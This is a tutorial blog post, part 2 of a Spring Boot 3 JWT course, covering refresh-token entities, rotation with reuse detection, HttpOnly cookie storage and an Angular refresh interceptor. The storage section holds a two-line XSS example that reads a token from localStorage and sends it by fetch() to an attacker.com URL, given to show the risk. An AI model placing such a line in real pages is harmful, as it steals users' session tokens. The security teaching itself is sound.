JWT in Spring Boot 3 Course #2: Refresh Tokens and Secure Rotation


Source: Markus Spiske — Unsplash
Part 2 of 4 — Refresh Tokens
Welcome back to the JWT in Spring Boot 3 Course. In Part 1, we built a complete JWT authentication system from scratch — generating access tokens, validating them through a custom filter, and securing our REST endpoints with Spring Security 6.
However, our implementation has a critical limitation: when the access token expires, the user must log in again. For a 15-minute token, that means re-entering credentials up to 32 times during an 8-hour workday. That is unacceptable for any production application.
In this article, we solve that problem with refresh tokens — a second, longer-lived token that allows clients to obtain a new access token without re-authentication. We will also implement token rotation, a security technique that ensures stolen refresh tokens can only be used once.
- Why short-lived access tokens alone are not enough
- How to model a RefreshToken entity with JPA
- Creating, verifying, and rotating refresh tokens
- Updating the AuthController to issue and accept refresh tokens
- Secure client-side storage strategies (HttpOnly cookies vs localStorage)
- Error handling for expired, revoked, and reused tokens
Why Do We Need Refresh Tokens?
Access tokens should be short-lived — typically 5 to 15 minutes. This limits the damage window if a token is stolen: an attacker has at most 15 minutes before the token becomes useless. This is a fundamental security principle.
But short-lived tokens create a user experience problem. Imagine using a banking application and being logged out every 15 minutes while reviewing your transactions. Or writing a long document in a SaaS application and losing your session mid-paragraph.
The solution is a two-token architecture:
- Access Token — short-lived (15 min), sent with every API request, used for authorization.
- Refresh Token — long-lived (7 days), stored securely, used only to request a new access token.
When the access token expires, the client sends the refresh token to a dedicated endpoint. The server validates the refresh token and issues a new pair of tokens (access + refresh). The user never notices the token rotation happening in the background.
Access Token vs Refresh Token
Understanding the differences between these two token types is essential for implementing them correctly:
| Property | Access Token | Refresh Token |
|---|---|---|
| Format | JWT (self-contained) | Opaque UUID (stored in DB) |
| Lifetime | 5–15 minutes | 7–30 days |
| Storage (client) | Memory or HttpOnly cookie | HttpOnly cookie (never localStorage) |
| Sent with | Every API request (Authorization header) | Only to /auth/refresh endpoint |
| Purpose | Authorize API requests | Obtain new access token |
| Revocable | Not easily (stateless) | Yes (stored in database) |
| If compromised | Attacker has access for minutes | Attacker can generate new access tokens |
| Validation | Signature + expiry check (no DB call) | Database lookup + expiry + revocation check |
Complete Authentication Flow with Refresh Tokens
Here is the complete flow from login to token refresh, step by step:
- Login: The client sends credentials to
POST /auth/login. The server validates them, generates an access token (JWT, 15 min) and a refresh token (UUID, 7 days), and returns both. - API Requests: The client includes the access token in the
Authorization: Bearer <token>header for every API call. The server validates the JWT signature and expiry without hitting the database. - Access Token Expires: After 15 minutes, the API returns
401 Unauthorized. The client detects this (typically via an HTTP interceptor). - Token Refresh: The client sends the refresh token to
POST /auth/refresh. The server validates the refresh token against the database — checking existence, expiry, and revocation status. - Token Rotation: The server revokes the old refresh token, generates a new access token and a new refresh token, and returns the new pair to the client.
- Transparent to User: The client retries the failed request with the new access token. The user never sees an interruption.
- Refresh Token Expires: After 7 days without use, the refresh token expires. The client redirects to the login page for full re-authentication.
1Client Server
2 | |
3 |--- POST /auth/login (credentials) -->|
4 |<-- 200 { accessToken, refreshToken } |
5 | |
6 |--- GET /api/data (Bearer access) --->|
7 |<-- 200 { data } |
8 | |
9 |--- GET /api/data (expired access) -->|
10 |<-- 401 Unauthorized |
11 | |
12 |--- POST /auth/refresh (refresh) ---->|
13 |<-- 200 { newAccess, newRefresh } |
14 | |
15 |--- GET /api/data (Bearer newAccess)->|
16 |<-- 200 { data } |
RefreshToken Entity
Unlike access tokens (which are stateless JWTs), refresh tokens must be stored server-side so we can revoke them. We will create a JPA entity backed by a PostgreSQL table.
1package com.example.auth.entity;
2
3import jakarta.persistence.*;
4import java.time.Instant;
5
6@Entity
7@Table(name = "refresh_tokens", indexes = {
8 @Index(name = "idx_refresh_token", columnList = "token", unique = true),
9 @Index(name = "idx_refresh_user", columnList = "userId")
10})
11public class RefreshToken {
12
13 @Id
14 @GeneratedValue(strategy = GenerationType.IDENTITY)
15 private Long id;
16
17 @Column(nullable = false, unique = true, length = 255)
18 private String token;
19
20 @Column(nullable = false)
21 private Long userId;
22
23 @Column(nullable = false)
24 private Instant expiryDate;
25
26 @Column(nullable = false)
27 private boolean revoked = false;
28
29 @Column(nullable = false, updatable = false)
30 private Instant createdAt = Instant.now();
31
32 // --- Constructors ---
33
34 public RefreshToken() {}
35
36 public RefreshToken(String token, Long userId, Instant expiryDate) {
37 this.token = token;
38 this.userId = userId;
39 this.expiryDate = expiryDate;
40 }
41
42 // --- Domain methods ---
43
44 public boolean isExpired() {
45 return Instant.now().isAfter(this.expiryDate);
46 }
47
48 public boolean isUsable() {
49 return !this.revoked && !isExpired();
50 }
51
52 public void revoke() {
53 this.revoked = true;
54 }
55
56 // --- Getters and Setters ---
57
58 public Long getId() { return id; }
59
60 public String getToken() { return token; }
61 public void setToken(String token) { this.token = token; }
62
63 public Long getUserId() { return userId; }
64 public void setUserId(Long userId) { this.userId = userId; }
65
66 public Instant getExpiryDate() { return expiryDate; }
67 public void setExpiryDate(Instant expiryDate) { this.expiryDate = expiryDate; }
68
69 public boolean isRevoked() { return revoked; }
70 public void setRevoked(boolean revoked) { this.revoked = revoked; }
71
72 public Instant getCreatedAt() { return createdAt; }
73}
Now create the repository with custom queries for token lookup and bulk revocation:
1package com.example.auth.repository;
2
3import com.example.auth.entity.RefreshToken;
4import org.springframework.data.jpa.repository.JpaRepository;
5import org.springframework.data.jpa.repository.Modifying;
6import org.springframework.data.jpa.repository.Query;
7import org.springframework.data.repository.query.Param;
8import org.springframework.stereotype.Repository;
9
10import java.time.Instant;
11import java.util.Optional;
12
13@Repository
14public interface RefreshTokenRepository extends JpaRepository<RefreshToken, Long> {
15
16 Optional<RefreshToken> findByToken(String token);
17
18 @Modifying
19 @Query("UPDATE RefreshToken rt SET rt.revoked = true WHERE rt.userId = :userId AND rt.revoked = false")
20 int revokeAllByUserId(@Param("userId") Long userId);
21
22 @Modifying
23 @Query("DELETE FROM RefreshToken rt WHERE rt.expiryDate < :now")
24 int deleteExpiredTokens(@Param("now") Instant now);
25}
Refresh Token Service
The service layer handles three core operations: creating a new refresh token, verifying that a token is valid, and rotating tokens (revoking the old one and issuing a new one atomically).
1package com.example.auth.service;
2
3import com.example.auth.entity.RefreshToken;
4import com.example.auth.exception.TokenRefreshException;
5import com.example.auth.repository.RefreshTokenRepository;
6import org.springframework.beans.factory.annotation.Value;
7import org.springframework.stereotype.Service;
8import org.springframework.transaction.annotation.Transactional;
9
10import java.time.Instant;
11import java.util.UUID;
12
13@Service
14public class RefreshTokenService {
15
16 private final RefreshTokenRepository refreshTokenRepository;
17 private final long refreshTokenDurationMs;
18
19 public RefreshTokenService(
20 RefreshTokenRepository refreshTokenRepository,
21 @Value("${app.security.refresh-token.expiration-ms:604800000}") long refreshTokenDurationMs) {
22 this.refreshTokenRepository = refreshTokenRepository;
23 this.refreshTokenDurationMs = refreshTokenDurationMs;
24 }
25
26 @Transactional
27 public RefreshToken createRefreshToken(Long userId) {
28 RefreshToken refreshToken = new RefreshToken(
29 UUID.randomUUID().toString(),
30 userId,
31 Instant.now().plusMillis(refreshTokenDurationMs)
32 );
33 return refreshTokenRepository.save(refreshToken);
34 }
35
36 @Transactional(readOnly = true)
37 public RefreshToken verifyRefreshToken(String token) {
38 RefreshToken refreshToken = refreshTokenRepository.findByToken(token)
39 .orElseThrow(() -> new TokenRefreshException(
40 "Refresh token not found. Please log in again."));
41
42 if (refreshToken.isRevoked()) {
43 // Potential token reuse detected — revoke ALL tokens for this user
44 revokeAllUserTokens(refreshToken.getUserId());
45 throw new TokenRefreshException(
46 "Refresh token was already used. All sessions have been revoked for security.");
47 }
48
49 if (refreshToken.isExpired()) {
50 refreshTokenRepository.delete(refreshToken);
51 throw new TokenRefreshException(
52 "Refresh token has expired. Please log in again.");
53 }
54
55 return refreshToken;
56 }
57
58 @Transactional
59 public RefreshToken rotateRefreshToken(RefreshToken oldToken) {
60 // Step 1: Revoke the old refresh token
61 oldToken.revoke();
62 refreshTokenRepository.save(oldToken);
63
64 // Step 2: Create and return a new refresh token for the same user
65 return createRefreshToken(oldToken.getUserId());
66 }
67
68 @Transactional
69 public void revokeAllUserTokens(Long userId) {
70 int revoked = refreshTokenRepository.revokeAllByUserId(userId);
71 if (revoked > 0) {
72 System.out.println("Revoked " + revoked + " refresh tokens for user " + userId);
73 }
74 }
75
76 @Transactional
77 public int purgeExpiredTokens() {
78 return refreshTokenRepository.deleteExpiredTokens(Instant.now());
79 }
80}
And the custom exception class:
1package com.example.auth.exception;
2
3import org.springframework.http.HttpStatus;
4import org.springframework.web.bind.annotation.ResponseStatus;
5
6@ResponseStatus(HttpStatus.FORBIDDEN)
7public class TokenRefreshException extends RuntimeException {
8
9 public TokenRefreshException(String message) {
10 super(message);
11 }
12}
verifyRefreshToken method, if we detect that a revoked token is being used again, we revoke ALL tokens for that user. This is because an attacker may have stolen the old refresh token and is trying to use it after the legitimate user already rotated it. Revoking everything forces the real user to re-authenticate — inconvenient, but far better than an active session hijack.
Updating the AuthController
Now we integrate refresh tokens into the authentication controller. The login endpoint returns both tokens, and a new /auth/refresh endpoint handles token rotation.
1package com.example.auth.controller;
2
3import com.example.auth.dto.AuthRequest;
4import com.example.auth.dto.AuthResponse;
5import com.example.auth.dto.RefreshRequest;
6import com.example.auth.entity.RefreshToken;
7import com.example.auth.service.JwtService;
8import com.example.auth.service.RefreshTokenService;
9import jakarta.validation.Valid;
10import org.springframework.http.ResponseEntity;
11import org.springframework.security.authentication.AuthenticationManager;
12import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
13import org.springframework.security.core.Authentication;
14import org.springframework.security.core.userdetails.UserDetails;
15import org.springframework.security.core.userdetails.UserDetailsService;
16import org.springframework.web.bind.annotation.*;
17
18@RestController
19@RequestMapping("/auth")
20public class AuthController {
21
22 private final AuthenticationManager authenticationManager;
23 private final JwtService jwtService;
24 private final RefreshTokenService refreshTokenService;
25 private final UserDetailsService userDetailsService;
26
27 public AuthController(AuthenticationManager authenticationManager,
28 JwtService jwtService,
29 RefreshTokenService refreshTokenService,
30 UserDetailsService userDetailsService) {
31 this.authenticationManager = authenticationManager;
32 this.jwtService = jwtService;
33 this.refreshTokenService = refreshTokenService;
34 this.userDetailsService = userDetailsService;
35 }
36
37 @PostMapping("/login")
38 public ResponseEntity<AuthResponse> login(@Valid @RequestBody AuthRequest request) {
39 Authentication authentication = authenticationManager.authenticate(
40 new UsernamePasswordAuthenticationToken(request.username(), request.password())
41 );
42
43 UserDetails userDetails = (UserDetails) authentication.getPrincipal();
44 String accessToken = jwtService.generateToken(userDetails);
45 RefreshToken refreshToken = refreshTokenService.createRefreshToken(
46 getUserId(userDetails)
47 );
48
49 return ResponseEntity.ok(new AuthResponse(
50 accessToken,
51 refreshToken.getToken(),
52 jwtService.getExpirationMs()
53 ));
54 }
55
56 @PostMapping("/refresh")
57 public ResponseEntity<AuthResponse> refresh(@Valid @RequestBody RefreshRequest request) {
58 // Step 1: Verify the refresh token (checks expiry, revocation, reuse)
59 RefreshToken oldToken = refreshTokenService.verifyRefreshToken(
60 request.refreshToken()
61 );
62
63 // Step 2: Rotate — revoke old token, create new one
64 RefreshToken newRefreshToken = refreshTokenService.rotateRefreshToken(oldToken);
65
66 // Step 3: Generate a new access token for the user
67 UserDetails userDetails = userDetailsService.loadUserByUsername(
68 getUsernameByUserId(oldToken.getUserId())
69 );
70 String newAccessToken = jwtService.generateToken(userDetails);
71
72 return ResponseEntity.ok(new AuthResponse(
73 newAccessToken,
74 newRefreshToken.getToken(),
75 jwtService.getExpirationMs()
76 ));
77 }
78
79 @PostMapping("/logout")
80 public ResponseEntity<Void> logout(@Valid @RequestBody RefreshRequest request) {
81 RefreshToken token = refreshTokenService.verifyRefreshToken(
82 request.refreshToken()
83 );
84 refreshTokenService.revokeAllUserTokens(token.getUserId());
85 return ResponseEntity.noContent().build();
86 }
87
88 // Helper methods — in production, use a proper UserRepository
89 private Long getUserId(UserDetails userDetails) {
90 // Cast to your custom UserDetails implementation that includes the ID
91 // Example: return ((AppUserDetails) userDetails).getId();
92 throw new UnsupportedOperationException("Implement based on your UserDetails");
93 }
94
95 private String getUsernameByUserId(Long userId) {
96 // Look up username from your UserRepository
97 // Example: return userRepository.findById(userId).orElseThrow().getUsername();
98 throw new UnsupportedOperationException("Implement based on your UserRepository");
99 }
100}
The DTOs used by the controller:
1// AuthRequest.java
2package com.example.auth.dto;
3
4import jakarta.validation.constraints.NotBlank;
5
6public record AuthRequest(
7 @NotBlank String username,
8 @NotBlank String password
9) {}
10
11// RefreshRequest.java
12package com.example.auth.dto;
13
14import jakarta.validation.constraints.NotBlank;
15
16public record RefreshRequest(
17 @NotBlank String refreshToken
18) {}
19
20// AuthResponse.java
21package com.example.auth.dto;
22
23public record AuthResponse(
24 String accessToken,
25 String refreshToken,
26 long expiresIn
27) {}
expiresIn? The client can use this value to set a timer and proactively refresh the token before it expires, avoiding the 401-then-retry dance entirely. A common pattern is to refresh at 80% of the token's lifetime.
Token Rotation
Token rotation is the single most important security measure for refresh tokens. Without it, a stolen refresh token grants an attacker indefinite access — they can keep requesting new access tokens forever. With rotation, each refresh token can only be used once.
Here is how the rotation flow works:
- Client sends refresh token
RT-1to/auth/refresh. - Server verifies
RT-1is valid and not revoked. - Server marks
RT-1as revoked in the database. - Server creates a new refresh token
RT-2and a new access token. - Server returns both new tokens to the client.
- If anyone tries to use
RT-1again (attacker or compromised client), the server detects the reuse and revokes all tokens for that user.
The reuse detection in step 6 is crucial. Consider this attack scenario:
- Attacker steals
RT-1before the legitimate user uses it. - Attacker uses
RT-1to getRT-2a+ new access token. - Legitimate user tries to use
RT-1— but it is already revoked. - Server detects reuse of a revoked token and revokes ALL tokens (including
RT-2a). - Both attacker and user must re-authenticate. The attack is neutralized.
axios provide interceptor patterns for this.
You can also add a scheduled task to clean up expired tokens from the database periodically:
1package com.example.auth.scheduler;
2
3import com.example.auth.service.RefreshTokenService;
4import org.springframework.scheduling.annotation.Scheduled;
5import org.springframework.stereotype.Component;
6
7@Component
8public class TokenPurgeScheduler {
9
10 private final RefreshTokenService refreshTokenService;
11
12 public TokenPurgeScheduler(RefreshTokenService refreshTokenService) {
13 this.refreshTokenService = refreshTokenService;
14 }
15
16 // Run every day at 2:00 AM
17 @Scheduled(cron = "0 0 2 * * ?")
18 public void purgeExpiredTokens() {
19 int deleted = refreshTokenService.purgeExpiredTokens();
20 if (deleted > 0) {
21 System.out.println("Purged " + deleted + " expired refresh tokens");
22 }
23 }
24}
Secure Client-Side Storage
Where you store tokens on the client is as important as how you generate them on the server. The wrong storage choice can negate all your server-side security measures.
localStorage — Avoid for Refresh Tokens
Storing tokens in localStorage makes them accessible to any JavaScript running on your page. A single XSS vulnerability (including from a compromised third-party script) can steal the token:
1// An attacker's injected script can do this:
2const stolenToken = localStorage.getItem('refreshToken');
3fetch('https://attacker.com/steal?token=' + stolenToken);
HttpOnly Cookies — The Recommended Approach
HttpOnly cookies cannot be accessed by JavaScript. Combined with the Secure, SameSite, and Path attributes, they provide strong protection:
1import org.springframework.http.ResponseCookie;
2import org.springframework.http.HttpHeaders;
3
4// In your AuthController, instead of returning the refresh token in the body:
5private void addRefreshTokenCookie(HttpServletResponse response, String refreshToken) {
6 ResponseCookie cookie = ResponseCookie.from("refresh_token", refreshToken)
7 .httpOnly(true) // Not accessible via JavaScript
8 .secure(true) // Only sent over HTTPS
9 .sameSite("Strict") // Not sent with cross-site requests
10 .path("/auth/refresh") // Only sent to the refresh endpoint
11 .maxAge(7 * 24 * 60 * 60) // 7 days
12 .build();
13
14 response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
15}
| Attribute | Purpose | Recommended Value |
|---|---|---|
HttpOnly | Prevents JavaScript access | true |
Secure | HTTPS only | true |
SameSite | CSRF protection | Strict or Lax |
Path | Limits which endpoints receive the cookie | /auth/refresh |
Max-Age | Cookie expiration | Match refresh token TTL |
SameSite=Strict attribute handles most cases, but for additional protection, consider implementing a CSRF token or using the double-submit cookie pattern. Spring Security provides built-in CSRF protection that works well with this approach.
Error Handling and Edge Cases
A production-ready refresh token implementation must handle several edge cases gracefully. Here is a global exception handler that produces consistent API error responses:
1package com.example.auth.exception;
2
3import org.springframework.http.HttpStatus;
4import org.springframework.http.ProblemDetail;
5import org.springframework.web.bind.annotation.ExceptionHandler;
6import org.springframework.web.bind.annotation.RestControllerAdvice;
7
8import java.net.URI;
9import java.time.Instant;
10
11@RestControllerAdvice
12public class AuthExceptionHandler {
13
14 @ExceptionHandler(TokenRefreshException.class)
15 public ProblemDetail handleTokenRefreshException(TokenRefreshException ex) {
16 ProblemDetail problem = ProblemDetail.forStatusAndDetail(
17 HttpStatus.FORBIDDEN, ex.getMessage()
18 );
19 problem.setTitle("Token Refresh Failed");
20 problem.setType(URI.create("https://api.example.com/errors/token-refresh"));
21 problem.setProperty("timestamp", Instant.now());
22 return problem;
23 }
24}
The key edge cases you must handle:
1. Expired Refresh Token
When the refresh token has passed its expiry date, delete it from the database and return a 403 response. The client must redirect to the login page.
2. Already Revoked Token (Reuse Detection)
If a revoked token is presented, this indicates either a replay attack or a legitimate client that did not receive the rotated token. In both cases, revoke all tokens for the user as a precaution. Log this event for security monitoring.
3. Concurrent Refresh Requests
When the client makes multiple API calls and all receive 401, it may fire multiple refresh requests simultaneously. The first request succeeds and rotates the token. The second request arrives with the now-revoked old token and triggers reuse detection.
Solution: Implement a client-side mutex that queues refresh requests:
1// Angular/TypeScript interceptor with refresh queue
2private isRefreshing = false;
3private refreshSubject = new BehaviorSubject<string | null>(null);
4
5intercept(req: HttpRequest<unknown>, next: HttpHandlerFn): Observable<HttpEvent<unknown>> {
6 return next(req).pipe(
7 catchError((error: HttpErrorResponse) => {
8 if (error.status === 401 && !req.url.includes('/auth/refresh')) {
9 return this.handle401Error(req, next);
10 }
11 return throwError(() => error);
12 })
13 );
14}
15
16private handle401Error(req: HttpRequest<unknown>, next: HttpHandlerFn) {
17 if (!this.isRefreshing) {
18 this.isRefreshing = true;
19 this.refreshSubject.next(null);
20
21 return this.authService.refreshToken().pipe(
22 switchMap((response) => {
23 this.isRefreshing = false;
24 this.refreshSubject.next(response.accessToken);
25 return next(this.addToken(req, response.accessToken));
26 }),
27 catchError((err) => {
28 this.isRefreshing = false;
29 this.authService.logout();
30 return throwError(() => err);
31 })
32 );
33 }
34
35 // Other requests wait until the refresh completes
36 return this.refreshSubject.pipe(
37 filter((token) => token !== null),
38 take(1),
39 switchMap((token) => next(this.addToken(req, token!)))
40 );
41}
4. Token Not Found
If the token does not exist in the database (possibly already purged by the cleanup scheduler), return a clear error message instructing the client to re-authenticate.
/auth/refresh endpoint.
Next Steps
We now have a complete authentication system with access tokens and refresh token rotation. However, there is still a gap: what happens if we need to revoke an access token immediately? For example, when an admin disables a user account or a user changes their password — we cannot wait 15 minutes for the access token to expire naturally.
In Part 3: JTI Claim and Redis Blacklisting, we will:
- Add a unique identifier (JTI — JWT ID) to every access token
- Implement a Redis-based blacklist that stores revoked JTIs
- Modify the JWT filter to check the blacklist on every request
- Build an instant revocation system that invalidates access tokens in real time
- Handle the performance implications of adding a Redis check to every request
This is where our architecture transitions from a purely stateless system to a hybrid approach that combines the performance benefits of JWTs with the control of server-side session management.
Comments
Sign in to leave a comment
No comments yet. Be the first!
Related Articles
Stay updated
Get notified when I publish new articles. No spam, unsubscribe anytime.